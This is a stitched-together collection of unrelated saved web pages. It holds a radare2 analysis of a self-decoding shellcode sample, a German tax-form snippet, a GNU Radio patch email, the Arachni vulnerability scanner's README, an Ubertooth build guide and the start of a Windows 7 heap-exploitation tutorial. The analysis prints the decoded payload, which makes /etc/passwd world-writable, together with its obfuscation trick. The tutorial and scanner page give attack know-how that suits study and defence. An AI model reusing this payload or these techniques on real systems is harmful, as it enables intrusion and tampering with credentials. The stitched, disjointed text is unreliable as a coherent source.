      woA  &=  and
      wor  >>= shift right
      wol  <<= shift left
      wo2  2=  2 byte endian swap
      wo4  4=  4 byte endian swap
    
    
[/code]

We need to use 'wos' so as to subtract a constant from a range of memory
addresses, but before that we need to turn on io caching. By default radare2
opens files read-only, unless you give the -w flag. Alternatively we can set
the io.cache option on, which caches writes in memory; These writes can be
reverted or committed as the user pleases, but we will not be using these
facilities for this example.

[code]

    [0x1c000764]> e io.cache=true
    [0x1c000764]> wos 0x35@0x3c001058:0x27
    [0x3c001040]> pd
          ,   0x3c001040  sym.shellcode:
          ,=< 0x3c001040    0    eb11             jmp 0x3c001053 [1]
          |   0x3c001042    0    5e               pop esi
          |   0x3c001043   -4-   31c9             xor ecx, ecx
          |   0x3c001045   -4    b127             mov cl, 0x27
         .--> 0x3c001047   -4    806c0eff35       sub byte [esi+ecx-0x1], 0x35
         ||   0x3c00104c   -4    80e901           sub cl, 0x1
         `==< 0x3c00104f   -4    75f6             jnz 0x3c001047 [2]
        ,===< 0x3c001051   -4    eb05             jmp 0x3c001058 [3]
        | `-> 0x3c001053   -4>   e8eaffffff       call dword 0x3c001042
        | |      ; 0x3c001042() [4]
       ,`---> 0x3c001058   -4    eb15             jmp 0x3c00106f [5]
       |      0x3c00105a   -4    31c0             xor eax, eax
       |      0x3c00105c   -4    b00f             mov al, 0xf
       |      0x3c00105e   -4    5b               pop ebx
       |      0x3c00105f   -8-   31c9             xor ecx, ecx
       |      0x3c001061   -8    66b9ff01         mov cx, 0x1ff
       |      0x3c001065   -8    cd80             int 0x80
       |         ; syscall[0x80][3840]=?
       |      0x3c001067   -8    31c0             xor eax, eax
       |      0x3c001069   -8    b001             mov al, 0x1
       |      0x3c00106b   -8    31db             xor ebx, ebx
       |      0x3c00106d   -8    cd80             int 0x80
       |         ; msync (0x100,0x0,0x1ff)
       `----> 0x3c00106f   -8>   e8e6ffffff       call dword 0x3c00105a
       |         ; 0x3c00105a() [6]
              0x3c001074   -8 string (5): "444d"
              0x3c001079   -8 hex length=64 delta=3
    0x3c001079  7061 7373 7764 0055 2720 666f 7220 7265  passwd.U' for re
    0x3c001089  646f 0000 0000 0000 0000 0000 0000 0000  do..............
    0x3c001099  0000 0000 0000 0000 0000 0000 0000 0000  ................
    0x3c0010a9  0000 0000 0000 0000 0000 0000 00         .............
    
    
[/code]

And now we see that the instructions following 0x3c001058 are now valid. The
first thing that I notice are these 'int 0x80' instructions. On a UNIX like
operating system \(running on x86/amd64\), firing an 0x80 interrupt has a
special meaning, it asks the kernel to execute a system call, whose number is
held in eax.

By following execution mentally \(through a jump and a call\), I can tell you
that eax takes a value of 15 at 0x3c001065 and 1 at 0x3c00106d. We can
identify these Linux system calls by grokking the 32-bit x86 kernel headers,
or the easy way, google for them:

http://asm.sourceforge.net/syscall.html

So we have a call to chmod\(2\) at 0x3c001065, followed by a call to exit\(2\)
at 0x3c00106d. We will need to examine the arguments to calls in order to
understand what they do. On a Linux system, system call arguments are passed
in registers \(ebx, ecx, edx, esi, edi, ebp\).

Let's look at the call to chmod\(2\); This call takes two arguments, so we
should look in ebx and ecx for a char pointer indicating the path to a file,
and a mode\_t \(which is just an integer really\) specifying the mode \(or
permissions\) to change to. ebx is popped from the top of the stack at
0x3c00105e and if we follow execution backwards, we see that the last thing on
the stack was a "return address" \(0x3c001074\) of the call at 0x3c00106f.
Ofcourse this is not a return address at all, just a sneaky way to bundle a
string into the payload. Let's look at the string using 'ps':

[code]

    [0x1c000764]> ps@0x3c001074
    /etc/passwd
    
    
[/code]

The second argument of the chmod call is in the ecx register and takes the
value 0x1ff; which in octal, is 0777. So we have a call 'chmod\("/etc/passwd",
0777\);'. Naughty\!

After this the program simply calls the exit\(2\) system call.

## Concluding Comments

What we have seen is an exploit which modifies itself at runtime in order to
resist static disassembly. The technique is not new and is an easy way of
preventing hard coded strings \(like "/etc/passwd"\) from being detectable
with utilities like strings\(1\).

In fact, this exploit should not work on modern operating systems, as the
payload was situated in the '.data' section of the binary, which \(on any sane
OS\) can not be both executable and writable. I tried stepping over the call
to the payload on my OpenBSD machine and it refused to execute, which is a
good thing. EDIT: After discussion on reddit, we concluded that this code
should not work on modern architectures implementing a NX bit \(or
equivalent\) and for other architectures, write-xor-execute protection can be
implemented in software. Thanks for the clarification reddit.

We explored some of the basic features of radare2, however, we have only
scratched the surface. Go check it out at radare.org

If you fancy something slightly harder, try the same analysis on a stripped
binary\!

Please let us know if you spot any errors or have any comments. Cheers.

# Wann ist das Formular L 1i auszufüllen?

**Created:**| _2/18/2013 2:47:03 PM_  
---|---  
**Updated:**| _2/18/2013 2:47:03 PM_  
**Author:**| __  
**Tags:**| _LOLZ_  
  
  

## Einkünfte aus nichtselbständiger Arbeit ohne Lohnsteuerabzug

__

#### _Wann füllen Sie das Formular L 1i aus, obwohl Sie nur inländische
Einkünfte beziehen?_

__

Sie haben nichtselbständige Einkünfte von dritter Seite erhalten, die nicht
dem Lohnsteuerabzug durch Ihren Arbeitgeber unterliegen. Dazu zählen
beispielsweise:

  * Bestimmte Provisionen \(auch Schmiergelder\) von dritter Seite. 
  * Die Einlösung von **Bonusmeilen** für private Zwecke, die im Rahmen von beruflichen Dienstreisen erworben wurden. 
  * Pauschale Reisekostenersätze, die von internationalen Organisationen \(zB Institutionen der Europäischen Union\) direkt an die Sitzungsteilnehmer ausbezahlt werden.

  

# \[Patch-gnuradio\] GFSK blocks

**Created:**| _5/20/2012 4:20:28 PM_  
---|---  
**Updated:**| _5/20/2012 4:20:28 PM_  
**Author:**| __  
**Tags:**| _Gnuradio modulation_  
  

## \[Patch-gnuradio\] GFSK blocks

* * *
**From** : |  wayne roberts  
---|---  
**Subject** : |  \[Patch-gnuradio\] GFSK blocks  
**Date** : |  Fri, 13 Apr 2012 17:48:19 -0700  
* * *
GFSK is used by many low cost unlicensed transceivers chips, such as Si44xx,
SX1231, CC11xx, ADF70xx, etc.  
  
This patch is made from gmsk.py, but allows FM sensitivity to be changed
independently to permit wider FM deviations used by these radio chips.  
The intention is to not touch/break GMSK \(for GSM users\), but instead add
gfsk.py.  
  
MSK has fixed 0.25 modulation index, where FSK can have modulation indexes
usually between 0.5 and 2.0  
  
This is tested using example gfsk\_loopback.grc, based off of dpsk\_loopback
example.

**<img src='https://lists.nongnu.org/icons/binary.png' width='20' height='22'
alt='Attachment:' />**

****

**` gfsk.patch`**  
_Description:_ Binary data

# Zapotek's arachni at master - GitHub

**Created:**| _9/10/2010 9:50:57 AM_  
---|---  
**Updated:**| _9/10/2010 9:50:57 AM_  
**Author:**| _wishi_  
**Tags:**| _web-app-sec security tools programming_  
  

<img src='img/logov3.png?changed' alt='github' /><img
src='img/logov3-hover.png' alt='github' />

<img
src='img/a118dee94ce92d05aa12af84d5e110e1?s=140&d=http%3A%2F%2Fgithub.com%2Fimages%2Fgravatars%2Fgravatar-140.png'
width='20' height='20' />wishi

  * Dashboard
  * Inbox 0
  * Account Settings
  * Log Out

Advanced Search

  * Explore GitHub
  * Gist
  * Blog
  * Help

# Zapotek / **arachni**

  * Admin
  * Watch Unwatch
  * Fork
  * Your Fork
  * Pull Request
  * Download Source
  *     * 8
    * 1

  * Source
  * Commits
  * Network \(1\)
  * Issues \(0\)
  * Downloads \(1\)
  * Wiki \(5\)
  * Graphs
  * _Branch:_ `master`

_click here to add a description_

_click here to add a homepage_

  * Switch Branches \(3\)
    * 0.2
    * gh-pages
    * **master ✓**
  * Switch Tags \(1\)
    * v0.1.1
  * Branch List

Sending Request…

Web Application Vulnerability Scanning Framework — Read more

  Cancel

  Cancel

  * HTTP
  * Git Read-Only

http://github.com/Zapotek/arachni.git

This URL has **Read-Only** access

[code]

    path traversal module: bugfixed the path 
    
[/code]

<img
src='img/1cf962e3407c13a8f3caa30ba8c1ed80?s=140&d=http%3A%2F%2Fgithub.com%2Fimages%2Fgravatars%2Fgravatar-140.png'
width='30' height='30' />

Zapotek \(author\)

about 6 hours ago

commit  6353310d4678707cc4df  
tree    00cd51f47284f23d08b0  
parent  88a59c9573da9e464e70

**arachni** /

| name | age | history message  
---|---|---|---  
<img src='img/txt.png?2cb6191089072e33f5323e74f7aaa40ad9184789' alt='file' />| .gitignore | August 25, 2010 | commiting .gitignore \(am I supposed to do that?\) \[Zapotek\]  
<img src='img/txt.png?2cb6191089072e33f5323e74f7aaa40ad9184789' alt='file' />| ACKNOWLEDGMENTS | 2 days ago | upped to version v0.1.1 \[Zapotek\]  
<img src='img/txt.png?2cb6191089072e33f5323e74f7aaa40ad9184789' alt='file' />| AUTHORS | 2 days ago | upped to version v0.1.1 \[Zapotek\]  
<img src='img/txt.png?2cb6191089072e33f5323e74f7aaa40ad9184789' alt='file' />| DIAGRAMS.md | September 02, 2010 | updated diagrams \[Zapotek\]  
<img src='img/txt.png?2cb6191089072e33f5323e74f7aaa40ad9184789' alt='file' />| HACKING.md | 5 days ago | updated hacking guidelines \[Zapotek\]  
<img src='img/txt.png?2cb6191089072e33f5323e74f7aaa40ad9184789' alt='file' />| LICENSE | June 23, 2010 | \* first commit \[Zapotek\]  
<img src='img/txt.png?2cb6191089072e33f5323e74f7aaa40ad9184789' alt='file' />| README.md | 1 day ago | added a link for news regarding the project \[Zapotek\]  
<img src='img/txt.png?2cb6191089072e33f5323e74f7aaa40ad9184789' alt='file' />| TODO | September 02, 2010 | all files: \[Zapotek\]  
<img src='img/txt.png?2cb6191089072e33f5323e74f7aaa40ad9184789' alt='file' />| arachni\_cli.rb | 1 day ago | sha-bang now changed to "\#\!/usr/bin/env ruby" \(... \[Zapotek\]  
<img src='img/txt.png?2cb6191089072e33f5323e74f7aaa40ad9184789' alt='file' />| getoptslong.rb | 4 days ago | added filtering capabilities to "lsmod" \[Zapotek\]  
<img src='img/dir.png?2cb6191089072e33f5323e74f7aaa40ad9184789' alt='directory' />| lib/ | about 11 hours ago | auditor: upped version \[Zapotek\]  
<img src='img/txt.png?2cb6191089072e33f5323e74f7aaa40ad9184789' alt='file' />| makediagrams | September 02, 2010 | all files: \[Zapotek\]  
<img src='img/txt.png?2cb6191089072e33f5323e74f7aaa40ad9184789' alt='file' />| makedoc | September 02, 2010 | all files: \[Zapotek\]  
<img src='img/dir.png?2cb6191089072e33f5323e74f7aaa40ad9184789' alt='directory' />| modules/ | about 6 hours ago | path traversal module: bugfixed the path \[Zapotek\]  
<img src='img/dir.png?2cb6191089072e33f5323e74f7aaa40ad9184789' alt='directory' />| reports/ | about 12 hours ago | html report template: updated URL to github \[Zapotek\]  
<img src='img/dir.png?2cb6191089072e33f5323e74f7aaa40ad9184789' alt='directory' />| tests/ | September 02, 2010 | all files: \[Zapotek\]  
README.md

# Arachni - Web Application Vulnerability Scanning Framework

**Homepage** : http://github.com/zapotek/arachni  
**News** : http://trainofthought.segfault.gr/category/projects/arachni/  
**Documentation** : http://github.com/Zapotek/arachni/wiki  
**Code Documentation** : http://zapotek.github.com/arachni/  
**Author** : Anastasios "Zapotek" Laskos  
**Copyright** : 2010  
**License** : GNU General Public License v2

## Synopsis

\{Arachni\} is a feature-full and modular Ruby framework that allows
penetration testers and administrators to evaluate the security of web
applications.

\{Arachni\} is smart, it trains itself with every HTTP response it receives
during the audit process.  
Unlike other scanners, Arachni takes into account the dynamic nature of web
applications and can detect changes caused while travelling  
through each path of a web application's cyclomatic complexity.  
This way attack/input vectors that would otherwise be undetectable by non-
humans are seamlessly handled by Arachni.

The project aims to:

**1 Provide a stable and efficient framework**  
Developers should be allowed to easily and quickly create and deploy modules
with the minimum amount of restrictions imposed upon them, while provided with
the necessary infrastructure to accomplish their goals.  
Module writers should be able to take full advantage of the Ruby language
under a unified framework that will increase their productivity without
stifling them or complicating their tasks.  
Basically, give them the right tools for the job and get the hell out of their
way.

**2 Be simple**  
Well, not simple in general...some parts of the framework are fairly complex.  
However, the module and report APIs are very similar and very simple.  
There are only a couple of rules you should follow:

  * Implement an abstract class
  * Do your thing

That's pretty much all...

**3 Be developer and user friendly**  
Users should be able to make the most out of Arachni without being confused or
overwhelmed.  
Developers unfamiliar with the framework should be able to write working
modules and reports immediately after a small glance at an existing one.

## Feature List

**General**

  * Cookie-jar support
  * SSL support.
  * User Agent spoofing.
  * Proxy support for SOCKS and HTTP\(S\). 
    * SOCKS support is kindly provided by socksify.
  * Proxy authentication.
  * Site authentication.
  * Local DNS cache limits name resolution queries.
  * Custom output lib. 
    * The system uses its own print wrappers to output messages.  
Will make it easier to implement other UIs in the future.

  * Highlighted command line output, Metasploit style.
  * Run mods last option. 
    * Allows to run the modules after site analysis has concluded.
  * UI abstraction. 
    * Only \{Arachni::UI::CLI\} for the time being but WebUI & GUI are relatively easy to implement now.
  * Traps Ctrl-C interrupt. 
    * Interrupts pause the system, the user then has the option to either resume or exit.

**Website Crawler** \(\{Arachni::Spider\}\)

The crawler is provided by Anemone with some slight modifications to
accommodate extra features.

  * Filters for redundant pages like galleries, catalogs, etc based on regular expressions and counters.
  * URL exclusion filter based on regular expressions.
  * URL inclusion filter based on regular expressions.
  * Stays in domain by default and it'll probably stay that way.
  * Can optionally follow subdomains.
  * Multi-threaded with adjustable thread count.
  * Adjustable depth limit.
  * Adjustable link count limit.
  * Adjustable redirect limit.

**HTML Analyzer** \(\{Arachni::Analyzer\}\)

Can extract and analyze:

  * Forms
  * Links
  * Cookies

The analyzer can graciously handle badly written HTML code due to the
combination of regular expression analysis and Nokogiri HTML parser.

The analyzer serves as the first layer of HTML analysis.  
More complex analysis, for JS, AJAX, Java Applets etc, can be achieved by
adding data-mining/audit pairs of modules like:  
\- \{Arachni::Modules::Recon::ExtractObjects\}  
\- \{Arachni::Modules::Audit::AuditObjects\}

This way the system can be extended to be able to handle virtually anything.

**Module Management** \(\{Arachni::Module\}\)

  * Modular design 
    * Very simple and easy to use module API providing access at multiple levels.
  * Helper audit methods 
    * For forms, links and cookies.
    * Writing RFI, SQL injection, XSS etc mods is a matter of minutes if not seconds.
  * Helper \{Arachni::Module::HTTP\} interface 
    * A pretty and easy to use Net::HTTP wrapper.
  * Multi-threaded module execution with adjustable thread count.

You can find an tutorial module here: \{Arachni::Modules::Audit::SimpleRFI\}

**Report Management** \(\{Arachni::Report\}\)

  * Modular design 
    * Very easy to add new reports.
    * Reports are similar to modules...but a lot simpler.

You can find an up-to-date sample report here: \{Arachni::Reports::AP\}  
And a more complex HTML report here: \{Arachni::Reports::HTML\}

## Usage

Usage: arachni \[options\] url

Supported options:

**General**

[code]

    -h
    --help                      output this
    
    -v                          be verbose
    
    --debug                     show debugging output
    
    --only-positives            echo positive results *only*
    
    --threads=<number>          how many threads to instantiate
                                  If no thread limit has been specified
                                    each module will run in its own thread.
    
    --cookie-jar=<cookiejar>    netscape HTTP cookie file, use curl to create it
    
    
    --user-agent=<user agent>   specify user agent
    
    --authed-by=<who>           who authorized the scan, include name and e-mail address
                                  It'll make it easier on the sys-admins.
                                  (Will be appended to the user-agent string.)
    
    --save-profile=<file>       saves the current run profile/options to <file>
                                  (The file will be saved with an extention of: .afp)
    
    --load-profile=<file>       loads a run profile from <file>
                                  (You can complement it with more options, except for:
                                      * --mods
                                      * --redundant)
    
    
[/code]

**Crawler**

[code]

    -e <regex>
    --exclude=<regex>           exclude urls matching regex
                                  (Can be used multiple times.)
    
    -i <regex>
    --include=<regex>           include urls matching this regex only
                                  (Can be used multiple times.)
    
    --redundant=<regex>:<count> limit crawl on redundant pages like galleries or catalogs
                                  (URLs matching <regex> will be crawled <count> links deep.)
                                  (Can be used multiple times.)
    
    -f
    --follow-subdomains         follow links to subdomains (default: off)
    
    --obey-robots-txt           obey robots.txt file (default: off)
    
    --depth=<number>            depth limit (default: inf)
                                  How deep Arachni should go into the site structure.
    
    --link-count=<number>       how many links to follow (default: inf)                              
    
    --redirect-limit=<number>   how many redirects to follow (default: inf)
    
    
[/code]

**Auditor**

[code]

    -g
    --audit-links               audit link variables (GET)
    
    -p
    --audit-forms               audit form variables
                                  (usually POST, can also be GET)
    
    -c
    --audit-cookies             audit cookies (COOKIE)
    
    --exclude-cookie=<name>     cookies not to audit
                                  You should exclude session cookies.
                                  (Can be used multiple times.)
    
    --audit-headers             audit HTTP headers
    
    
[/code]

**Modules**

[code]

    --lsmod=<regexp>            list available modules based on the provided regular expression
                                  If no regexp is provided all modules will be listed.
                                  (Can be used multiple times.)
    
    
    -m <modname,modname..>
    --mods=<modname,modname..>  comma separated list of modules to deploy
                                  (use '*' to deploy all modules)
    
    --mods-run-last             run modules after the website has been analyzed
                                  (default: modules are run on every page
                                    encountered to minimize network latency.) 
    
    
[/code]

**Reports**

[code]

    --lsrep                       list available reports
    
    --repsave=<file>              saves the audit results in <file>
                                    (The file will be saved with an extention of: .afr)               
    
    --repload=<file>              loads audit results from <file>
                                  and lets you create a new report
    
    --repopts=<option1>:<value>,<option2>:<value>,...
                                  Set options for the selected reports.
                                  (One invocation only, options will be applied to all loaded reports.)
    
    --report=<repname>          <repname>: the name of the report as displayed by '--lsrep'
                                  (default: stdout)
                                  (Can be used multiple times.)
    
    
[/code]

**Proxy**

[code]

    --proxy=<server:port>       specify proxy
    
    --proxy-auth=<user:passwd>  specify proxy auth credentials
    
    --proxy-type=<type>         proxy type can be either socks or http
                                  (default: http)
    
    
[/code]

**Example**

In the following example all modules will be run against _http://test.com_ ,
auditing links/forms/cookies and following subdomains --with verbose output
enabled.  
The results of the audit will be saved in the the file _test.com.afr_.

[code]

    $ ./arachni_cli.rb -gpcfv --mods=* http://test.com --repsave=test.com
    
    
[/code]

The Arachni Framework Report \(.afr\) file can later be loaded by Arachni to
create a report, like so:

[code]

    $ ./arachni_cli.rb --repload=test.com.afr --report=txt --repsave=my_report.txt
    
    
[/code]

## Requirements

  * ruby1.9.1 or later
  * Nokogiri 
    * sudo gem install nokogiri
  * Anemone 
    * sudo gem install anemone
  * Sockify 
    * sudo gem install socksify
  * Awesome print 
    * sudo gem install awesome\_print
  * Liquid \(For \{Arachni::Reports::HTML\} reporting\) 
    * sudo gem install liquid
  * Yardoc \(if you want to generate the documentation\)

## Supported platforms

Arachni should work on all \*nix and POSIX compliant platforms with Ruby and
the aforementioned requirements.

Windows users should run Arachni in Cygwin.

## Bug reports/Feature requests

Please send your feedback using Github's issue system at
http://github.com/zapotek/arachni/issues.

## License

Arachni is licensed under the GNU General Public License v2.  
See the "LICENSE" file for more information.

## Disclaimer

Arachni is free software and you are allowed to use it as you see fit.  
However, I can't be held responsible for your actions or for any damage caused
by the use of this software.

<img src='img/rackspace_logo.png?2cb6191089072e33f5323e74f7aaa40ad9184789'
alt='Dedicated Server' /> Powered by the Dedicated Servers and  
Cloud Computing of Rackspace Hosting®

  * Blog
  * Support
  * Training
  * Job Board
  * Shop
  * Contact
  * API
  * Status

  * © 2010 GitHub Inc. All rights reserved.
  * Terms of Service
  * Privacy
  * Security

  * English
  * Deutsch
  * Français
  * 日本語
  * Português \(BR\)
  * 中文
  * See all available languages

### Your current locale selection: **English**. Choose another?

  * English
  * Afrikaans
  * Català
  * Čeština

  * Deutsch
  * Español
  * Français
  * Hrvatski

  * Indonesia
  * Italiano
  * 日本語
  * Nederlands

  * Norsk
  * Polski
  * Português \(BR\)
  * Српски

  * Svenska
  * 中文

  *[about 6 hours ago]: 2010-09-08 21:15:05

# Project Ubertooth - Hardware Build Guide

**Created:**| _3/9/2011 11:38:52 AM_  
---|---  
**Updated:**| _3/9/2011 11:39:00 AM_  
**Author:**| __  
**Tags:**| _awesome_  
  

# Hardware Build Guide

This describes the build process for Ubertooth One, but the processes for
Ubertooth Zero and Pogoprog are essentially the same.

## step 0: read these instructions

Seriously. There are probably things in the later steps that you should know
about before getting started.

## step 1: order a PCB

You will need a four layer printed circuit board. I recommend using Laen's PCB
service at DorkbotPDX. Take the Ubertooth One Gerber files from the most
recent Project Ubertooth release package \(or generate them with KiCad\) and
send them to Laen. The board is 1.8 square inches, so it will cost $18 per set
of three. That's one for yourself, one for a friend, and one to screw up\! If
you live on Mars and can't get a four layer board manufactured, Ubertooth Zero
is a two layer alternative. Pogoprog is also a two layer board.

If you are building an Ubertooth One or Zero, you should also consider
building a Pogoprog unless you already have a plan for how you willprogram
your board.

## step 2: order a stencil

Surface mount soldering is fun and easy if you use a stencil to apply solder
paste to your circuit board\! Send the top paste Gerber file \(ubertooth-one-
SoldP\_Front.gtp\) to a stencil manufacturer such as OHARARP or Pololu.
Alternatively you might plan to use a syringe or a toothpick to apply solder
paste, but this is not recommended. You might instead just use a soldering
iron, but this is strongly discouraged unless you have successfully soldered
QFNs with required ground pads before \(and, if you have, you probably aren't
reading these instructions anyway\).

## step 3: order the parts

Take the bill of materials \(bom\) from the most recent Project Ubertooth
release \(or generate it with KiCad\) and order the parts. The parts should
all be available from one or more online electronics suppliers such asMouser
and Digi-key. It is important to order some extra parts \(especially the tiny
ones which fortunately are cheap\) in case you lose or damage any components.

You may want to order an antenna too. The Pulse W1030 is a nice size, but you
can also find compatible antennas on many commercial Wi-Fi and Bluetooth
products. Most any antenna intended for the 2.4 GHz band \(such as
802.11b/g/n\) is suitable as long as it has an RP-SMA connector, adapter, or
pigtail. You could choose an SMA connector instead of RP-SMA; this might
especially be convenient for interfacing with benchtop test gear. RP-SMA was
selected as the default choice for Project Ubertooth because there are more
RP-SMA than SMA antennas floating around on consumer Wi-Fi and Bluetooth gear.

You might prefer to select alternative parts, but be careful of the 1%
resistors and all of the 0402 inductors and capacitors in the RF section which
have been selected for their particular characteristics. Any LPC175x
microcontroller will do, but it is recommended that you choose one with at
least 128 kB RAM. And, really, if you're going through all this trouble, why
not go with 512 kB?

## step 4: prepare your tools and materials

essential:

  * an electric skillet, one that you don't intend to use for food ever again
  * solder paste \(no-clean lead-based solder paste is recommended\)
  * a small putty knife or razor blade
  * fine tipped tweezers
  * any old soldering iron
  * solder

strongly recommended:

  * good ventilation
  * a temperature controlled soldering iron: this is more than just having a knob; it should have a temperature sensor in the iron
  * an embossing tool or other high temperature heat gun \(even better: a proper hot air rework station\)
  * a multitester with LED/diode test mode
  * desoldering braid
  * brass sponge
  * helping hands
  * magnifying glass

## step 5: apply solder paste

Using your stencil and a putty knife, apply the solder paste as described in
this tutorial.

## step 6: place the parts

With fine tipped tweezers, carefully place the parts on the board. If you have
to move a part, pick it up and place it again rather than sliding it around a
lot. Otherwise the paste can get out of place. Most of the 0402 and 0603 parts
can be placed in either direction, but the LEDs are exceptions. You must place
them with ground in the direction of the arrow on the circuit board. You may
have to look at the design in KiCad to see which way the arrow goes, and
you'll probably have to test your LEDs with a multitester to find out which
side is which. Don't populate USB connectors, RP-SMA connectors, or pogo pins
\(in the case of Pogoprog\) at this time.

## step 7: reflow

Carefully place the board in the electric skillet, and turn the skillet on. It
is best to warm up the board to a moderate temperature before turning the
skillet up to full power. Then turn up the heat until you can see the solder
flow. If you see parts moving around to incorrect positions, resist the
temptation to correct them at this time\! As soon as the solder everywhere on
the board appears liquid, cut the power completely. You may want to lift the
board out of the skillet with a spatula at this point to allow it to cool
faster. There is a danger of overheating the components, but this is unlikely
unless you left the skillet on longer than necessary or used lead-free solder
paste.

## step 7: rework

Here is where the embossing tool, a good soldering iron, desoldering braid,
and a magnifying glass come in very handy. If there is anything wrong with the
assembly, you will have to correct individual part placement as needed.

## step 8: inspection

Once all the parts appear to be soldered in place correctly, look again, this
time with a magnifying glass. You should also do some continuity tests with a
multitester at this point. Watch out in particular for supply shorts; the
easiest way to test for these is to verify a lack of continuity across bypass
capacitors \(all the caps that are close to the ICs\). If there is a short
that you can't see, it is probably under the pins of one of the ICs. Repeat
steps 7 and 8 as necessary.

## step 9: hand soldering

There are a few parts that you should solder on by hand with an iron at this
point. These are the USB and RP-SMA connectors on the Ubertooth boards and the
pogo pins on Pogoprog.

## step 10: power-on test

Power on the device by plugging in the USB connection. An Ubertooth One or
Zero should illuminate the RST LED. If this doesn't happen, quickly unplug USB
verify that the LED is oriented correctly, and go back to step 8. A Pogoprog
should flash its TX and RX LEDs during USB enumeration. If this doesn't
happen, quickly unplug USB, verify the LED orientations, check your driver
situation, and go back to step 8.

## step 11: further testing

If you are building a Pogoprog, you should make sure that an FTDI USB serial
adapter has been detected by your host operating system. If so, you can try
using it to program an Ubertooth board. If you are making an Ubertooth board,
you should try programming it with the blinky firmware and then continue the
process described in firmware/README.

## step 12: boast

Tell us about your success on the ubertooth general mailing list.

# net-ninja.net - Heap Overflows For Humans 104

**Created:**| _3/24/2012 6:45:42 PM_  
---|---  
**Updated:**| _3/24/2012 6:45:42 PM_  
**Author:**| __  
**Tags:**| _windows security Exploit Tutorials Heap_  
  

# <img src='https://net-ninja.net/images/netninja.png' />

# Heap Overflows For Humans 104

Created by mr\_me on Sunday the 11 of March, 2012 Tags: heap, exploitation

Welcome to the sixth installment of the Heap Overflow For Humans series, I
hope the journey has been as interesting to you as it has for me. At this
point, I can tell you that there are a few more series yet to come as we
progress into windows 8.

As most know, for a fair while I have been developing an specialized tool
called \!heaper. As I go through the wonderful world of heap metadata attacks
and focus on newer platforms, the knowledge obtained from reverse engineering
and testing exploitable conditions will be applied to the tool to facilitate
heap exploitation in general.

Today as many of you have guessed, I am covering some metadata attacks under
windows 7’s LFH ~~including a new attack~~. I plan on updating this blog post
later on to cover the new attack so stay tuned\! Before when can properly
analyse and experiment with the attacks we need a somewhat through
understanding of how the windows 7 heap manager actually works \(both the
FrontEnd and the BackEnd\).

Some people have asked me to develop a tutorial on how to actually use heaper,
whilst it is not fully complete just yet \(still need to implement double free
detection and a few other things\) I will write a very detailed post regarding
the use of the tool in the near future.

Before I begin, I’d just like to say thankyou to other researchers that have
shared knowledge in heap exploitation and have contributed one way or another
in our understanding of heap exploitation. To me, it is **not** a heap of
shit, but rather a dynamic and interesting journey that can lead to
exploitable conditions. :-\)

So as usual for this you will need to setup a machine using:

  1. Windows 7 installed
  2. Immunity Debugger
  3. A copy of my Immunity Debugger plugin ‘heaper’
  4. Microsoft visual studio C++ 10.0
  5. A brain \(and/or persistence\).
  6. Some knowledge of Assembly, C++ and knowledge on how to dig through a debugger
  7. Some knowledge of windows heap management internals
  8. Time.

**WARNING - Please read the previous Heap Overflows For Humans articles before
progressing.**

## The FrontEnd

The FrontEnd is known as the Low Fragmentation Heap. This heap manager is
essentially a heap manager inside a second heap manager. It contains nested
data structures that become very complex during some heap algorithms. Lets try
and visualize the interconected data structures and their relationships:

[code]

         +----------------------------+
         |_HEAP                       |
         |----------------------------|
         |+0xd4 - FrontEnd (_LFH_HEAP)|
         +----------------------------+
         |
         |     +----------------------------------------+
         +---->|_LFH_HEAP                               |
               |----------------------------------------|
               |+0x310 - LocalData[1] (_HEAP_LOCAL_DATA)|
               +----------------------------------------+
               |
               |     +----------------------------------------------------+
               +---->|_HEAP_LOCAL_DATA                                    |
                     |----------------------------------------------------|
                     |+0x18 - SegmentInfo[0x80] (_HEAP_LOCAL_SEGMENT_INFO)|
                     +----------------------------------------------------+
                     |
                     |      +-------------------------+
                     +----->|_HEAP_LOCAL_SEGMENT_INFO |
                            |-------------------------|
                          +-+_HEAP_LOCAL_SEGMENT_INFO |
                          | |-------------------------|
                          +-+_HEAP_LOCAL_SEGMENT_INFO |
                          | |-------------------------|
                          +-+_HEAP_LOCAL_SEGMENT_INFO |
                          | +-------------------------+
                          |
                          |            +-------------------------------------------+
                          +----------->|_HEAP_LOCAL_SEGMENT_INFO                   |
                                       |-------------------------------------------|
                                       |+0x00 Hint - (_HEAP_SUBSEGMENT)            |
                                       |+0x04 ActiveSubsegment - (_HEAP_SUBSEGMENT)|
                                       +-------------------------------------------+
                                       |
                                       |     +------------------------------------------+
                                       +---->|_HEAP_SUBSEGMENT                          |
                                             |------------------------------------------|
                                            +|+0x04 UserBlocks - (_HEAP_USERDATA_HEADER)|
                                            +|+0x08 AggregateExchg - (_INTERLOCK_SEQ)   |
                                            |+------------------------------------------+
                                            |
                                            |       +-------------------------------------+
                                            |------>|_HEAP_USERDATA_HEADER                |
                                            |       |-------------------------------------|
                                            |       |+0x00 SubSegment - (_HEAP_SUBSEGMENT)|
                                            |       |+0x10 User chunks - (_HEAP_ENTRY)    |
                                            |       +-------------------------------------+
                                            |
                                            |       +---------------------+
                                            +------>|_INTERLOCK_SEQ       |
                                                    |---------------------|
                                                    |+0x00 Depth          |
                                                    |+0x02 FreeEntryOffset|
                                                    +---------------------+
    
    0:004> dt _HEAP
    ntdll!_HEAP
       +0x000 Entry            : _HEAP_ENTRY
       +0x008 SegmentSignature : Uint4B
       +0x00c SegmentFlags     : Uint4B
       +0x010 SegmentListEntry : _LIST_ENTRY
       +0x018 Heap             : Ptr32 _HEAP
       +0x01c BaseAddress      : Ptr32 Void
       +0x020 NumberOfPages    : Uint4B
       +0x024 FirstEntry       : Ptr32 _HEAP_ENTRY
       +0x028 LastValidEntry   : Ptr32 _HEAP_ENTRY
       +0x02c NumberOfUnCommittedPages : Uint4B
       +0x030 NumberOfUnCommittedRanges : Uint4B
       +0x034 SegmentAllocatorBackTraceIndex : Uint2B
       +0x036 Reserved         : Uint2B
       +0x038 UCRSegmentList   : _LIST_ENTRY
       +0x040 Flags            : Uint4B
       +0x044 ForceFlags       : Uint4B
       +0x048 CompatibilityFlags : Uint4B
       +0x04c EncodeFlagMask   : Uint4B
       +0x050 Encoding         : _HEAP_ENTRY
       +0x058 PointerKey       : Uint4B
       +0x05c Interceptor      : Uint4B
       +0x060 VirtualMemoryThreshold : Uint4B
       +0x064 Signature        : Uint4B
       +0x068 SegmentReserve   : Uint4B
       +0x06c SegmentCommit    : Uint4B
       +0x070 DeCommitFreeBlockThreshold : Uint4B
       +0x074 DeCommitTotalFreeThreshold : Uint4B
       +0x078 TotalFreeSize    : Uint4B
       +0x07c MaximumAllocationSize : Uint4B
       +0x080 ProcessHeapsListIndex : Uint2B
